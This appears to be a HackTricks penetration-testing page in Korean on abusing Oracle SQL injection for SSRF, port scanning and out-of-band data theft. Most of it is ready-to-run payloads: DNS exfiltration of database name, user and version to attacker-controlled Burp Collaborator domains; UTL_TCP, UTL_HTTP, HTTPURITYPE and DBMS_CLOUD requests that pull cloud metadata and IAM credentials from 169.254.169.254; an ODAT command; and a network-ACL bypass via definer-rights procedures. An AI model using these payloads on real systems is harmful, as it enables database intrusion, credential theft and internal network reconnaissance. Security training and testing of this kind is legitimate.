Oracle injection

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

이 κ²Œμ‹œλ¬Όμ— λŒ€ν•œ μ‚­μ œλœ κ²Œμ‹œλ¬Όμ˜ Wayback Machine 볡사본을 μ œκ³΅ν•˜μ‹­μ‹œμ˜€: https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Oracle을 μ‚¬μš©ν•˜μ—¬ Out of Band HTTP 및 DNS μš”μ²­μ„ μˆ˜ν–‰ν•˜λŠ” 것은 잘 λ¬Έμ„œν™”λ˜μ–΄ μžˆμ§€λ§Œ, SQL 데이터 유좜 μˆ˜λ‹¨μœΌλ‘œμ„œμ˜ μ£Όλͺ©μ„ λ°›κ³  μžˆμŠ΅λ‹ˆλ‹€. μš°λ¦¬λŠ” 항상 μ΄λŸ¬ν•œ 기술/ν•¨μˆ˜λ₯Ό μˆ˜μ •ν•˜μ—¬ λ‹€λ₯Έ SSRF/XSPAλ₯Ό μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Oracle μ„€μΉ˜λŠ” 정말 κ³ ν†΅μŠ€λŸ¬μšΈ 수 있으며, 특히 λͺ…령을 μ‹œλ„ν•˜κΈ° μœ„ν•΄ λΉ λ₯Έ μΈμŠ€ν„΄μŠ€λ₯Ό μ„€μ •ν•˜λ €λŠ” κ²½μš°μ—λŠ” λ”μš± κ·Έλ ‡μŠ΅λ‹ˆλ‹€. Appsecco의 친ꡬ이자 λ™λ£ŒμΈ Abhisek Dattaκ°€ μ €μ—κ²Œ https://github.com/MaksymBilenko/docker-oracle-12cλ₯Ό μ•Œλ €μ£Όμ—ˆκ³ , 이λ₯Ό 톡해 t2.large AWS Ubuntu λ¨Έμ‹ κ³Ό Dockerμ—μ„œ μΈμŠ€ν„΄μŠ€λ₯Ό μ„€μ •ν•  수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€.

μ €λŠ” 이 λΈ”λ‘œκ·Έ κ²Œμ‹œλ¬Όμ˜ κ³Όμ •μ—μ„œ Oracle을 λ„€μ΄ν‹°λΈŒ μ„€μΉ˜μ²˜λŸΌ 전체 λ„€νŠΈμ›Œν¬ μ•‘μ„ΈμŠ€λ₯Ό κ°€μ§„ μƒνƒœλ‘œ λͺ¨λ°©ν•  수 μžˆλ„λ‘ --network="host" ν”Œλž˜κ·Έμ™€ ν•¨κ»˜ docker λͺ…령을 μ‹€ν–‰ν–ˆμŠ΅λ‹ˆλ‹€.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

URL λ˜λŠ” 호슀트/포트 번호 사양을 μ§€μ›ν•˜λŠ” Oracle νŒ¨ν‚€μ§€

호슀트 및 포트 사양을 μ§€μ›ν•˜λŠ” νŒ¨ν‚€μ§€μ™€ κΈ°λŠ₯을 μ°ΎκΈ° μœ„ν•΄, Oracle Database Online Documentationμ—μ„œ Google 검색을 μ‹€ν–‰ν–ˆμŠ΅λ‹ˆλ‹€. ꡬ체적으둜,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

검색 κ²°κ³ΌλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€ (λͺ¨λ‘ μ™ΈλΆ€ λ„€νŠΈμ›Œν¬λ₯Ό μˆ˜ν–‰ν•˜λŠ” 데 μ‚¬μš©ν•  수 μžˆλŠ” 것은 μ•„λ‹˜)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

이 κ°„λ‹¨ν•œ 검색은 DBMS_LDAP와 같은 νŒ¨ν‚€μ§€λ₯Ό λͺ…λ°±νžˆ κ±΄λ„ˆλ›°λŠ”λ°, μ΄λŠ” 호슀트 이름과 포트 번호λ₯Ό 전달할 수 있게 ν•΄μ€λ‹ˆλ‹€. λ¬Έμ„œ νŽ˜μ΄μ§€λŠ” λ‹¨μˆœνžˆ λ‹€λ₯Έ μœ„μΉ˜λ‘œ μ•ˆλ‚΄ν•©λ‹ˆλ‹€. λ”°λΌμ„œ μ œκ°€ 놓쳀을 수 μžˆλŠ” μ™ΈλΆ€ μš”μ²­μ„ μˆ˜ν–‰ν•  수 μžˆλŠ” λ‹€λ₯Έ Oracle νŒ¨ν‚€μ§€κ°€ μžˆμ„ 수 μžˆμŠ΅λ‹ˆλ‹€.

μ–΄μ¨Œλ“ , μš°λ¦¬κ°€ λ°œκ²¬ν•˜κ³  λ‚˜μ—΄ν•œ νŒ¨ν‚€μ§€ 쀑 일뢀λ₯Ό μ‚΄νŽ΄λ³΄κ² μŠ΅λ‹ˆλ‹€.

DBMS_LDAP.INIT

DBMS_LDAP νŒ¨ν‚€μ§€λŠ” LDAP μ„œλ²„μ—μ„œ 데이터에 μ ‘κ·Όν•  수 있게 ν•΄μ€λ‹ˆλ‹€. init() ν•¨μˆ˜λŠ” LDAP μ„œλ²„μ™€μ˜ μ„Έμ…˜μ„ μ΄ˆκΈ°ν™”ν•˜λ©°, 호슀트 이름과 포트 번호λ₯Ό 인수둜 λ°›μŠ΅λ‹ˆλ‹€.

이 ν•¨μˆ˜λŠ” DNSλ₯Ό 톡해 데이터 μœ μΆœμ„ λ³΄μ—¬μ£ΌλŠ” λ¬Έμ„œν™”λœ μ˜ˆκ°€ μžˆμŠ΅λ‹ˆλ‹€, μ•„λž˜μ™€ 같이.

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

κ·ΈλŸ¬λ‚˜ 이 ν•¨μˆ˜κ°€ 호슀트 이름과 포트 번호λ₯Ό 인수둜 받아듀이기 λ•Œλ¬Έμ—, 이λ₯Ό μ‚¬μš©ν•˜μ—¬ 포트 μŠ€μΊλ„ˆμ²˜λŸΌ μž‘λ™ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λ‹€μŒμ€ λͺ‡ κ°€μ§€ μ˜ˆμž…λ‹ˆλ‹€.

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.λŠ” ν¬νŠΈκ°€ λ‹«ν˜€ μžˆμŒμ„ λ‚˜νƒ€λ‚΄μ§€λ§Œ μ„Έμ…˜ 값은 ν¬νŠΈκ°€ μ—΄λ € μžˆμŒμ„ κ°€λ¦¬ν‚΅λ‹ˆλ‹€.

UTL_SMTP

UTL_SMTP νŒ¨ν‚€μ§€λŠ” SMTPλ₯Ό 톡해 이메일을 μ „μ†‘ν•˜κΈ° μœ„ν•΄ μ„€κ³„λ˜μ—ˆμŠ΅λ‹ˆλ‹€. Oracle λ¬Έμ„œ μ‚¬μ΄νŠΈμ— 제곡된 μ˜ˆμ œλŠ” 이 νŒ¨ν‚€μ§€λ₯Ό μ‚¬μš©ν•˜μ—¬ 이메일을 μ „μ†‘ν•˜λŠ” 방법을 λ³΄μ—¬μ€λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ μš°λ¦¬μ—κ²Œ ν₯미둜운 점은 호슀트 및 포트 사양을 μ œκ³΅ν•  수 μžˆλŠ” λŠ₯λ ₯μž…λ‹ˆλ‹€.

μ•„λž˜μ—λŠ” 2초의 νƒ€μž„μ•„μ›ƒμ„ κ°€μ§„ UTL_SMTP.OPEN_CONNECTION ν•¨μˆ˜μ˜ μ‘°μž‘ν•œ μ˜ˆκ°€ λ‚˜μ™€ μžˆμŠ΅λ‹ˆλ‹€.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: transfer timeoutλŠ” ν¬νŠΈκ°€ μ—΄λ € μžˆμ§€λ§Œ SMTP 연결이 μ„€μ •λ˜μ§€ μ•Šμ•˜μŒμ„ λ‚˜νƒ€λ‚΄κ³ , ORA-29278: SMTP transient error: 421 Service not availableλŠ” ν¬νŠΈκ°€ λ‹«ν˜€ μžˆμŒμ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€.

UTL_TCP

UTL_TCP νŒ¨ν‚€μ§€μ™€ κ·Έ 절차 및 ν•¨μˆ˜λŠ” μ„œλΉ„μŠ€μ™€μ˜ TCP/IP 기반 톡신을 ν—ˆμš©ν•©λ‹ˆλ‹€. νŠΉμ • μ„œλΉ„μŠ€μ— λŒ€ν•΄ ν”„λ‘œκ·Έλž˜λ°λœ 경우, 이 νŒ¨ν‚€μ§€λŠ” λ„€νŠΈμ›Œν¬λ‘œμ˜ μ ‘κ·Ό 방법이 λ˜κ±°λ‚˜ λͺ¨λ“  TCP/IP μ—°κ²°μ˜ λͺ¨λ“  츑면을 μ œμ–΄ν•  수 μžˆμœΌλ―€λ‘œ 전체 μ„œλ²„ μΈ‘ μš”μ²­μ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Oracle λ¬Έμ„œ μ‚¬μ΄νŠΈμ˜ μ˜ˆμ œλŠ” 이 νŒ¨ν‚€μ§€λ₯Ό μ‚¬μš©ν•˜μ—¬ μ›Ή νŽ˜μ΄μ§€λ₯Ό κ°€μ Έμ˜€κΈ° μœ„ν•΄ μ›μ‹œ TCP 연결을 λ§Œλ“œλŠ” 방법을 λ³΄μ—¬μ€λ‹ˆλ‹€. μš°λ¦¬λŠ” 이λ₯Ό 쑰금 더 λ‹¨μˆœν™”ν•˜μ—¬ 메타데이터 μΈμŠ€ν„΄μŠ€λ‚˜ μž„μ˜μ˜ TCP/IP μ„œλΉ„μŠ€μ— μš”μ²­μ„ λ§Œλ“œλŠ” 데 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

ν₯λ―Έλ‘­κ²Œλ„, μ›μ‹œ TCP μš”μ²­μ„ μž‘μ„±ν•  수 μžˆλŠ” λŠ₯λ ₯ 덕뢄에 이 νŒ¨ν‚€μ§€λŠ” λͺ¨λ“  ν΄λΌμš°λ“œ κ³΅κΈ‰μžμ˜ μΈμŠ€ν„΄μŠ€ 메타데이터 μ„œλΉ„μŠ€μ— μΏΌλ¦¬ν•˜λŠ” 데에도 μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. λ©”μ„œλ“œ μœ ν˜•κ³Ό μΆ”κ°€ ν—€λ”λŠ” λͺ¨λ‘ TCP μš”μ²­ λ‚΄μ—μ„œ 전달될 수 μžˆμŠ΅λ‹ˆλ‹€.

UTL_HTTP 및 μ›Ή μš”μ²­

μ•„λ§ˆλ„ λͺ¨λ“  Out of Band Oracle SQL Injection νŠœν† λ¦¬μ–Όμ—μ„œ κ°€μž₯ 일반적이고 널리 λ¬Έμ„œν™”λœ κΈ°μˆ μ€ UTL_HTTP νŒ¨ν‚€μ§€μž…λ‹ˆλ‹€. 이 νŒ¨ν‚€μ§€λŠ” λ¬Έμ„œμ—μ„œ λ‹€μŒκ³Ό 같이 μ •μ˜λ©λ‹ˆλ‹€ - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

이것을 μ‚¬μš©ν•˜μ—¬ λ‹€μŒκ³Ό 같은 쿼리둜 기본적인 포트 μŠ€μΊλ‹μ„ μˆ˜ν–‰ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€.

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener λ˜λŠ” TNS:operation timed outλŠ” TCP ν¬νŠΈκ°€ λ‹«ν˜€ μžˆλ‹€λŠ” μ‹ ν˜Έμ΄λ©°, ORA-29263: HTTP protocol error λ˜λŠ” λ°μ΄ν„°λŠ” ν¬νŠΈκ°€ μ—΄λ € μžˆλ‹€λŠ” μ‹ ν˜Έμž…λ‹ˆλ‹€.

μ œκ°€ 과거에 μ‚¬μš©ν–ˆλ˜ 또 λ‹€λ₯Έ νŒ¨ν‚€μ§€λŠ” HTTPURITYPE Oracle 좔상 νƒ€μž…μ˜ GETCLOB() λ©”μ„œλ“œλ‘œ, URLκ³Ό μƒν˜Έμž‘μš©ν•  수 있게 ν•΄μ£Όλ©° HTTP ν”„λ‘œν† μ½œμ„ μ§€μ›ν•©λ‹ˆλ‹€. GETCLOB() λ©”μ„œλ“œλŠ” URLμ—μ„œ GET 응닡을 CLOB 데이터 νƒ€μž…μœΌλ‘œ κ°€μ Έμ˜€λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;

μΆ”κ°€ νŒ¨ν‚€μ§€ 및 기술 (Oracle 19c β†’ 23c)

UTL_INADDR – DNS 기반 유좜 및 호슀트 탐색

UTL_INADDRλŠ” λ°μ΄ν„°λ² μ΄μŠ€ ν˜ΈμŠ€νŠΈμ—μ„œ μ•„μ›ƒλ°”μš΄λ“œ DNS 쑰회λ₯Ό νŠΈλ¦¬κ±°ν•˜λŠ” κ°„λ‹¨ν•œ 이름 해상도 λ„μš°λ―Έλ₯Ό λ…ΈμΆœν•©λ‹ˆλ‹€. λ„λ©”μΈλ§Œ ν•„μš”ν•˜λ―€λ‘œ(포트/ACL ν•„μš” μ—†μŒ) λ‹€λ₯Έ λ„€νŠΈμ›Œν¬ 호좜이 차단될 λ•Œ λΈ”λΌμΈλ“œ μœ μΆœμ„ μœ„ν•œ μ‹ λ’°ν•  수 μžˆλŠ” μ›μ‹œ κΈ°λŠ₯μž…λ‹ˆλ‹€.

-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;

get_host_address()λŠ” ν•΄κ²°λœ IPλ₯Ό λ°˜ν™˜ν•©λ‹ˆλ‹€(ν•΄κ²° μ‹€νŒ¨ μ‹œ ORA-29257 λ°œμƒ). κ³΅κ²©μžλŠ” μ½”λ“œ 싀행을 ν™•μΈν•˜κΈ° μœ„ν•΄ μ œμ–΄λœ λ„λ©”μΈμ—μ„œ λ“€μ–΄μ˜€λŠ” DNS μš”μ²­μ„ μ£Όμ‹œν•˜κΈ°λ§Œ ν•˜λ©΄ λ©λ‹ˆλ‹€.

DBMS_CLOUD.SEND_REQUEST – Autonomous/23c의 전체 HTTP ν΄λΌμ΄μ–ΈνŠΈ

졜근 ν΄λΌμš°λ“œ 쀑심 버전(Autonomous Database, 21c/23c, 23ai)μ—λŠ” DBMS_CLOUDκ°€ ν¬ν•¨λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€. SEND_REQUEST ν•¨μˆ˜λŠ” μ‚¬μš©μž μ •μ˜ 동사, 헀더, TLS 및 λŒ€μš©λŸ‰ 본문을 μ§€μ›ν•˜λŠ” λ²”μš© HTTP ν΄λΌμ΄μ–ΈνŠΈλ‘œ μž‘λ™ν•˜μ—¬ 고전적인 UTL_HTTP보닀 훨씬 더 κ°•λ ₯ν•©λ‹ˆλ‹€.

-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username        => 'ignored',
password        => 'ignored');
END;
/

DECLARE
resp  DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri             => 'http://169.254.169.254/latest/meta-data/',
method          => 'GET',
timeout         => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/

SEND_REQUESTκ°€ μž„μ˜μ˜ λŒ€μƒ URIλ₯Ό ν—ˆμš©ν•˜κΈ° λ•Œλ¬Έμ— SQLiλ₯Ό 톡해 μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€:

  1. λ‚΄λΆ€ 포트 μŠ€μΊλ‹ / SSRFλ₯Ό ν΄λΌμš°λ“œ 메타데이터 μ„œλΉ„μŠ€λ‘œ.
  2. HTTPSλ₯Ό ν†΅ν•œ 아웃 였브 λ°΄λ“œ 유좜 (Burp Collaborator λ˜λŠ” ngrok 터널 μ‚¬μš©).
  3. ACL에 μ˜ν•΄ 이전 호좜 νŒ¨ν‚€μ§€κ°€ λΉ„ν™œμ„±ν™”λ˜μ–΄λ„ 곡격자 μ„œλ²„λ‘œμ˜ 콜백.

ℹ️ ν΄λž˜μ‹ μ˜¨ν”„λ ˆλ―ΈμŠ€ 19c만 μžˆμ§€λ§Œ Java μ €μž₯ ν”„λ‘œμ‹œμ €λ₯Ό 생성할 수 μžˆλŠ” 경우, OCI ν΄λΌμ΄μ–ΈνŠΈ λ²ˆλ“€μ—μ„œ DBMS_CLOUDλ₯Ό μ„€μΉ˜ν•  수 μžˆλŠ” κ²½μš°κ°€ μžˆμŠ΅λ‹ˆλ‹€ β€” 일뢀 μž‘μ—…μ— μœ μš©ν•©λ‹ˆλ‹€.

ODAT둜 곡격 ν‘œλ©΄ μžλ™ν™”

ODAT – Oracle Database Attacking Tool은 μ΅œμ‹  λ¦΄λ¦¬μŠ€μ— λ°œλ§žμΆ”μ–΄ μ™”μŠ΅λ‹ˆλ‹€ (19c, 5.1.1 – 2022λ…„ 4μ›”κΉŒμ§€ ν…ŒμŠ€νŠΈλ¨). –utl_http, –utl_tcp, –httpuritype 및 μ΅œμ‹  –dbms_cloud λͺ¨λ“ˆμ€ μžλ™μœΌλ‘œ:

  • μ‚¬μš© κ°€λŠ₯ν•œ 호좜 νŒ¨ν‚€μ§€/ACL κΆŒν•œμ„ κ°μ§€ν•©λ‹ˆλ‹€.
  • λΈ”λΌμΈλ“œ μΆ”μΆœμ„ μœ„ν•œ DNS 및 HTTP μ½œλ°±μ„ νŠΈλ¦¬κ±°ν•©λ‹ˆλ‹€.
  • Burp/SQLMap을 μœ„ν•œ 볡사 μ€€λΉ„κ°€ μ™„λ£Œλœ SQL νŽ˜μ΄λ‘œλ“œλ₯Ό μƒμ„±ν•©λ‹ˆλ‹€.

예: κΈ°λ³Έ 자격 증λͺ…을 μ‚¬μš©ν•œ λΉ λ₯Έ OOB 확인 (λ°±κ·ΈλΌμš΄λ“œμ—μ„œ ACL μ—΄κ±°λ₯Ό μ²˜λ¦¬ν•©λ‹ˆλ‹€):

odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob

졜근 λ„€νŠΈμ›Œν¬ ACL μ œν•œ 및 우회

Oracle은 2023λ…„ 7μ›” CPUμ—μ„œ κΈ°λ³Έ λ„€νŠΈμ›Œν¬ ACL을 κ°•ν™”ν–ˆμŠ΅λ‹ˆλ‹€ β€” 이제 κΆŒν•œμ΄ μ—†λŠ” 계정은 기본적으둜 ORA-24247: network access denied by access control listλ₯Ό λ°›μŠ΅λ‹ˆλ‹€. SQLiλ₯Ό 톡해 ν˜ΈμΆœμ„ ν—ˆμš©ν•˜λŠ” 두 κ°€μ§€ νŒ¨ν„΄μ΄ μ—¬μ „νžˆ μ‘΄μž¬ν•©λ‹ˆλ‹€:

  1. λŒ€μƒ 계정이 톡합을 μœ„ν•΄ κ°œλ°œμžκ°€ μΆ”κ°€ν•œ ACL ν•­λͺ©(DBMS_NETWORK_ACL_ADMIN.create_acl)을 μ†Œμœ ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.
  2. κ³΅κ²©μžκ°€ AUTHID DEFINER 및 ν•„μš”ν•œ κΆŒν•œμ„ 이미 κ°€μ§„ κ³ κΈ‰ PL/SQL μ •μ˜μž κΆŒν•œ 루틴(예: μ‚¬μš©μž μ •μ˜ μ• ν”Œλ¦¬μΌ€μ΄μ…˜)을 μ•…μš©ν•©λ‹ˆλ‹€.

μ•…μš© 쀑 ORA-24247λ₯Ό λ§Œλ‚  경우 항상 μž¬μ‚¬μš© κ°€λŠ₯ν•œ ν”„λ‘œμ‹œμ €λ₯Ό κ²€μƒ‰ν•˜μ‹­μ‹œμ˜€:

SELECT owner, object_name
FROM   dba_objects
WHERE  object_type = 'PROCEDURE'
AND  authid       = 'DEFINER';

(λ§Žμ€ κ°μ‚¬μ—μ„œ 적어도 ν•˜λ‚˜μ˜ 보고/내보내기 μ ˆμ°¨κ°€ ν•„μš”ν•œ κΆŒν•œμ„ κ°€μ§€κ³  μžˆμ—ˆμŠ΅λ‹ˆλ‹€).


References

  • Oracle Docs – DBMS_CLOUD.SEND_REQUEST νŒ¨ν‚€μ§€ μ„€λͺ… 및 예제.
  • quentinhardy/odat – Oracle λ°μ΄ν„°λ² μ΄μŠ€ 곡격 도ꡬ (μ΅œμ‹  릴리슀 5.1.1, 2022λ…„ 4μ›”).

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°